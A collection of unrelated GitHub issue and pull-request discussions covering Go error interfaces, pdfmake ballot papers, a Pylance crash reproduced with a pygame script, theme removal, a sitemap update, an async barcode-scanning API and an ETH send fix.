@rexposadas we made it that way to comply with the network Error interface http://golang.org/src/net/net.go#L207. In the future if we implement the Temporary function as well goreq errors can be type asserted against net.Error interface.
This won't likely change as it breaks backwards compatibility and It's idiomatic Go.

Thanks @marcosnils , i wasn't aware of plans to add the Temporary() func as well.


create ballot papers with pdfmake (fixes #2298)

This creates the Ballot Papers using PDFmake as originally requested by @ThomasJunk in the assigned issue.
@emanuelschuetze
Example here:
Motion 3 Ballot.pdf
(german title would be "Antrag 3 Wahlgang.pdf")
I changed the usage of the word "Nummer" since we cannot translate it on the fly using angular gettext currently. therefore I did chose the international "#" for number

Ok. Not tested.
Please do not forget to cleanup (delete PDF on server side, move PDF code to extra js file, ...)

Please do not forget to cleanup (delete PDF on server side, move PDF code to extra js file, ...)

There is an issue for that.
I have no information about any priorities...

As discussed:

new (real) circle (unicode or base64 image)
no "#"
left align
thinner line/border

@emanuelschuetze
I made the required changes, can be seen here:
Antrag 2 Wahlgang.pdf
I did also refractor and comment the code a lot.
pdfmake supports the drawing of simple forms btw, such as circles. I created a simple function for.
Additionally to the required changes, I thought it would be a good idea to color the cutting-lines gray

Looks good. One remark. Then please rebase again.

Looks good. One remark. Then please rebase again.

I also changed the filename of the other .download function, since it used the space character as well.

@emanuelschuetze
commits should be clean now.

Ok. looks good. Ready for last review and merge.


yet another hexo-migrator-blogger plugin

the old one is not working.

You can remove the old one in plugins.yml.

Why don't you make a PR for https://github.com/hexojs/hexo-migrator-blogger?


Return and test friendly error messages on registration failure

This PR introduces a mock hex api web server for "integration" testing the rebar3 hex commands.
Calls that would require user input from stdin are mecked.
The hex api mock has db service (gen_server  with ets) to go along with it to faciliate simulating an already registered user.
More PRs will follow building upon this framework to support resolution of existing and future issues.

@tsloughter Oi, this is ready.


Cop whitelist

Requires players to be whitelisted before they can be cops.
Admins can whitelist/unwhitelist through the admin menu
Whitelisting can be disabled in police.cfg

thanks for this was going to do my own but il just try and test this will let you know how it goes :D

Thanks for your work, but I can't accept the commit. A cop flag has nothing to do with the mysql database structure, because "police" is only a group, nothing more. The police module define police functions, but there are no police job, or even jobs in vRP.
What you try to achieve can be done like this:

create a group like "whitelist_police" having a permission like "job.police"
add the group to the users you want to whitelist
use the permission "job.police" to restrict the police group selector

Awesome, thanks for the reply. I didn't even think of doing it like that. I am still learning how your framework works, very cool stuff!


An internal error occured while type checking file

Type: Bug
After deleting the first line in both the release and pre-release versions, Pylance underlines the new first word of the file when Type Checking is set to 'basic' and says:
An internal error occurred while type checking file "c:\Users\me\OneDrive\Documents\main.py": TypeError: Cannot read properties of undefined (reading 'type')
    at w (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:184728)
    at E (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:180721)
    at Object.getTypeFromCodeFlow (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:185333)
    at li (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:734202)
    at c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:523021
    at Re (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:525219)
    at c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:525276
    at Re (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:526061)
    at i.timeOperation (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:1076519)
    at I (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:173673)
    at E (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:178889)
    at Object.getTypeFromCodeFlow (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:185333)
    at li (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:734202)
    at c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:523021
    at Re (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:525219)
    at c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:525276
    at Re (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:526061)
    at i.timeOperation (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:1076519)
    at I (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:173673)
    at E (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:178889)
    at Object.getTypeFromCodeFlow (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:185333)
    at li (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:734202)
    at c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:523021
    at Re (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:525219)
    at c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:525276
    at Re (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:526061)
    at c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:525276
    at Re (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:526061)
    at i.timeOperation (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:1076519)
    at I (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:173673)
    at E (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:178889)
    at Object.getTypeFromCodeFlow (c:\Users\me\.vscode-insiders\extensions\ms-python.vscode-pylance-2023.6.31\dist\pyright.bundle.js:1:185333)

This error did not occur until yesterday. It has been accompanied with a tremendous slowdown in getting function/method/class annotations and autocomplete. I am on VS Code Insiders if that has anything to do with it. VS Code Insiders gets daily updates, so that could have screwed something up, and Pylance got an update when I had it in pre-release, but the problem, as I mentioned, stayed when I switched to release (yes, I refreshed VS Code when prompted), so I just switched back to pre-release.
Extension version: 2023.6.31
VS Code version: Code - Insiders 1.80.0-insider (da7f05a70eb760e4ce1fe230ae158ae214433341, 2023-06-27T15:13:35.848Z)
OS version: Windows_NT x64 10.0.22621
Modes:

According to telemetry the exception is in Pyright's getTypeFromLoopFlowNode. It may be a problem with the management of flowNodeTypeCache as opposed to just failing to test if cacheEntry is undefined.

After deleting the first line...

@xboxone08, can you share you code with us with steps to reproduce this issue? I wasn't able to reproduce it by deleting the first line of an arbitrary .py file.

I'm still not able to repro this. The crash location implies that the issue has something to do with a while/for loop in your code.

Yes, my code is a pygame game so there are while and for loops. Interestingly I just pulled it up and without deleting the first line the underline is already there and the first word is always underlined, not just if it is a from.

I tried making a new file with a basic game loop and event polling for loop but the error did not occur, so here's my code for Pylance debugging purposes only:
import pygame
from typing import Literal
from win10toast import ToastNotifier
from bot import Bot

"""For Xbox One controller, not anything else
"""

notifier = ToastNotifier()

pygame.init()
screen = pygame.display.set_mode((800, 450))
pygame.display.set_caption("Portal")
clock = pygame.time.Clock()

running: bool = True

# Joystick instance_id-s and instances
joysticks: dict[int, pygame.joystick.JoystickType] = {}
# Cell inhabitants' ids mapped to index cell
cells: list[int | Literal['k']] = []
# Robot mapped to cell inhabitant id
bots: dict[int | Literal['k'], Bot] = {}
# Which character is to be typed and where mapped to cell inhabitant id
typing: dict[int | Literal['k'], str] = {'k': ''}
controller_typing = pygame.transform.smoothscale(
    pygame.image.load('controller_typing.png'), (140, 140)).convert()

# Game loop
while running:
    clock.tick(124)  # FPS

    for e in pygame.event.get():
        if e.type == pygame.JOYAXISMOTION:
            if e.axis == 0 and e.instance_id in bots:
                bots[e.instance_id].turn = round(e.value - 0.04, 1)
            elif e.axis == 1 and e.instance_id in bots:
                bots[e.instance_id].forward = round(e.value - 0.04, 1)

            elif len(typing[e.instance_id].replace(' ', '')) < 12:
                if e.axis == 4 and round(e.value, 1) == 1:
                    typing[e.instance_id] += '5 '
                elif e.axis == 5 and round(e.value, 1) == 1:
                    typing[e.instance_id] += '6 '

        # Keyboard can play (press "enter" to join and "esc" to leave)
        elif e.type == pygame.KEYUP:
            if (e.key == pygame.K_w or e.key == pygame.K_s) and 'k' in bots:
                bots['k'].forward = 0
            elif (e.key == pygame.K_a or e.key == pygame.K_d) and 'k' in bots:
                bots['k'].turn = 0

        elif e.type == pygame.KEYDOWN:
            if e.key == pygame.K_w and 'k' in bots:
                bots['k'].forward = 1
            elif e.key == pygame.K_s and 'k' in bots:
                bots['k'].forward = -1
            elif e.key == pygame.K_a and 'k' in bots:
                bots['k'].turn = -1
            elif e.key == pygame.K_d and 'k' in bots:
                bots['k'].turn = 1

            elif e.key == pygame.K_BACKSPACE:
                typing['k'] = typing['k'][:-2]

            elif (e.key == pygame.K_RETURN or e.key == pygame.K_KP_ENTER):
                if 'k' not in cells and len(cells) < 8:
                    cells.append('k')
                elif len(typing['k'].replace(' ', '')) == 12 and 'k' not in bots:
                    text = typing['k'].replace(' ', '')
                    ip = text[:3].lstrip('0') + '.' + text[3:6].lstrip('0') + \
                        '.' + text[6:9].lstrip('0') + \
                        '.' + text[9:12].lstrip('0')
                    while ip.find('..') != -1:
                        ip = ip[:ip.find('..') + 1] + '0' + \
                            ip[ip.find('..') + 1:]
                    try:
                        bots[e.instance_id] = Bot(ip)
                    except OSError:
                        notifier.show_toast(
                            "IP Not Found", f"Couldn't find a robot with that IP ({ip}). Are you in the same LAN as it?", threaded=True)
            elif e.key == pygame.K_ESCAPE and 'k' in cells:
                cells.remove('k')
                bots.pop('k', None)
                typing.pop('k', None)

        elif e.type == pygame.TEXTINPUT and e.text in ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9') and len(typing['k'].replace(' ', '')) < 12 and 'k' in cells:
            typing['k'] += e.text + ' '

        elif e.type == pygame.JOYHATMOTION:
            if e.hat == 0 and len(typing[e.instance_id].replace(' ', '')) < 12:
                if e.value == (0, 1):
                    typing[e.instance_id] += '1 '
                elif e.value == (-1, 0):
                    typing[e.instance_id] += '2 '
                elif e.value == (0, -1):
                    typing[e.instance_id] += '3 '
                elif e.value == (1, 0):
                    typing[e.instance_id] += '4 '
        elif e.type == pygame.JOYBUTTONDOWN:
            if len(typing[e.instance_id].replace(' ', '')) < 12:
                if e.button == 4:
                    typing[e.instance_id] += '7 '
                elif e.button == 5:
                    typing[e.instance_id] += '8 '
                elif e.button == 3:
                    typing[e.instance_id] += '9 '
                elif e.button == 2:
                    typing[e.instance_id] += '0 '

            # Backspace
            if e.button == 1:
                typing[e.instance_id] = typing[e.instance_id][:-2]

            # Enter
            elif e.button == 7:
                if len(typing[e.instance_id].replace(' ', '')) == 12 and 'k' not in bots:
                    text = typing[e.instance_id].replace(' ', '')
                    ip: str = text[:3].lstrip('0') + '.' + text[3:6].lstrip('0') + \
                        '.' + text[6:9].lstrip('0') + \
                        '.' + text[9:12].lstrip('0')
                    while ip.find('..') != -1:
                        ip = ip[:ip.find('..') + 1] + '0' + \
                            ip[ip.find('..') + 1:]
                    try:
                        bots[e.instance_id] = Bot(ip)
                    except OSError:
                        notifier.show_toast(
                            "IP Not Found", f"Couldn't find a robot with that IP ({ip}). Are you in the same LAN as it?", threaded=True)

        # Update player list dynamically
        elif e.type == pygame.JOYDEVICEADDED and len(cells) < 8:
            joystick = pygame.joystick.Joystick(e.device_index)
            joysticks[joystick.get_instance_id()] = joystick
            cells.append(joystick.get_instance_id())
            typing[joystick.get_instance_id()] = ''
        elif e.type == pygame.JOYDEVICEREMOVED:
            del joysticks[e.instance_id]
            bots.pop(e.instance_id, None)
            cells.remove(e.instance_id)

        elif e.type == pygame.QUIT:  # Close cleanly
            running = False

    for bot in bots.values():
        bot.drive()

    screen.fill((255, 255, 255))

    pygame.draw.line(screen, (0, 0, 0), (200, 0), (200, 450), 2)
    pygame.draw.line(screen, (0, 0, 0), (400, 0), (400, 450), 2)
    pygame.draw.line(screen, (0, 0, 0), (600, 0), (600, 450), 2)
    pygame.draw.line(screen, (0, 0, 0), (0, 225), (800, 225), 2)
    pygame.draw.rect(screen, (0, 0, 0), pygame.Rect(
        0, 0, 800, 450), 2, border_bottom_left_radius=5, border_bottom_right_radius=5)

    font = pygame.font.Font(None, 18)
    small_font = pygame.font.Font(None, 14)

    # Coords of index # cell
    cell_coords: tuple[tuple[int, int], tuple[int, int], tuple[int, int], tuple[int, int], tuple[int, int], tuple[int, int],
                       tuple[int, int], tuple[int, int]] = ((5, 25), (205, 25), (405, 25), (605, 25), (5, 250), (205, 250), (405, 250), (605, 250))

    for cell in cells:
        cell_name = "Keyboard" if cell == 'k' else "Controller #" + \
            str(cell + 1)  # type: ignore
        screen.blit(font.render(cell_name, True, (0, 0, 0)),
                    cell_coords[cells.index(cell)])

        if bots.get(cell) is None:
            screen.blits(((font.render("Enter IP", True, (0, 0, 0)), (cell_coords[cells.index(cell)][0], cell_coords[cells.index(cell)][1] + font.get_linesize())), (font.render(
                "_ _ _._ _ _._ _ _._ _ _", True, (0, 0, 0)), (cell_coords[cells.index(cell)][0], cell_coords[cells.index(cell)][1] + 2 * font.get_linesize() + 2)),
                (font.render(typing[cell], True, (0, 0, 0)), (cell_coords[cells.index(cell)][0], cell_coords[cells.index(cell)][1] + 2 * font.get_linesize()))))
            if cell_name != "Keyboard":
                screen.blit(controller_typing, (cell_coords[cells.index(
                    cell)][0] + 25, cell_coords[cells.index(cell)][1] + 4 * font.get_linesize()))
        else:
            bots.get(cell)

    for i in range(len(cells), 8):
        k = "or press Enter/Return on your keyboard" if 'k' not in cells else ""
        screen.blits(((small_font.render("Connect another controller", True, (0, 0, 0)), cell_coords[i]), (small_font.render(
            k, True, (0, 0, 0)), (cell_coords[i][0], cell_coords[i][1] + small_font.get_linesize()))))

    pygame.display.flip()

for c in joysticks.values():  # type: ignore
    c.quit()
pygame.joystick.quit()
pygame.quit()

I removed the event-polling for loop with a different construct and the error went away.

Thanks, I am able to repro the issue with the code you provided. Might need to transfer to pyright repo.

Please try switching to the pylance insiders release. I'm pretty sure this crash is explained by a bug that I introduced in pyright 1.1.315 and later fixed in pyright 1.1.316.
@debonte, if you think it's worth cherry picking the fix to publish a hot fix for the pylance production release, it involves two commits: c8a25b2d6141a23907e3c6c0f188ec45122ec421 and 1340dfac2239b9bb086780bfdb20dee9bd791367.

Those commits are included in the latest Pylance pre-release build -- 2023.6.41.
@xboxone08, can you upgrade to 2023.6.41 and see if the issue is fixed?

Yes the error is fixed 👍


[remove-resource] Delete Antimatter Open Publishing theme

I think the time has come to retire the Antimatter Open Publishing theme, as my Quark Open Publishing theme is where I want to focus on esp. for Grav 2 etc.
Please remove the Antimatter Open Publishing theme at:
https://github.com/hibbitts-design/grav-theme-antimatter-open-publishing
Thanks very much,
Paul

Sorry missed this paul, will get this done soon

Removed.

Thanks very much Andy!


Update sitemap.xml

Description
This commit includes updates to the sitemap.xml file. The updates reflect changes in the website's content and structure. By updating the sitemap.xml file, we ensure that it accurately represents the URLs and metadata of the website's pages.
Fixes #415
Type of change
Please delete options that are not relevant.

[x] This change requires a documentation update

How Has This Been Tested?
Please describe the tests that you ran to verify your changes. Provide instructions so we can reproduce. Please also list any relevant details for your test configuration

[ ] Test A
[ ] Test B

Test Configuration:

Firmware version:
Hardware:
Toolchain:
SDK:

Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] New and existing unit tests pass locally with my changes
[x] Any dependent changes have been merged and published in downstream modules

Screenshots
Before

After

Include video if needed

Hello @NikhilRaikwar!
Thank you for submitting this pull request Your pull request will be reviewed by maintainers shortly. Meanwhile make sure you have referenced the respected issue in this pr Your pr will not be merged if it does not have reference to respected issue
please read our Contributing Guidelines https://github.com/UBA-GCOEN/StichHub/blob/main/CONTRIBUTING.md And Code of Conduct https://github.com/UBA-GCOEN/StichHub/blob/main/CODE_OF_CONDUCT.md

Hey @Siddhant-Patil0203 Pls also add the label of gssoc23 or level of issue in the pr after merging.


Async implementation of ScanContinuously()

This async implementation of ScanContinuously() awaits the end of the user input (when it presses back / cancels the view).
The « Cancel » button should probably be renamed with « Done » by default on iOS (I do this manually at the moment).
Feel free to discuss or improve all this (as it is a very basic implementation).
I based this commit on my implementation (which was made 6 month ago) but I did not have the time to test it on each platform again with the code that was added during these 6 monthes (I am in a big rush).
Please also note that I have never been able to test this on UWP. The implementation is still theoretical but is very close to the W8 one.

@Redth I think we can replace ScanContinuously with new async implementation. Imho it makes no sense to have sync version of this method.

That is what I originally did. I only separated the two for this PR.
I agree 100% with you.

Do we have some news? I have a desperate need of the async ScanContinuosly

Appreciate this.  I've started reworking the API a bit for a 4.x future version in another branch.  This is definitely included there.


fix: eth send very small amounts

I can send 1e-20 ETH from my wallet. Transaction was successful: https://sepolia.etherscan.io/tx/0x219bcfe5bcc7f5e88b160152977fd031bc1892ef0f4d51edee4e6d497d47d367
The wallet is extremely slow for me and I can see many errors in console:

Also when I'm opening Send ETH modal I'm getting this error: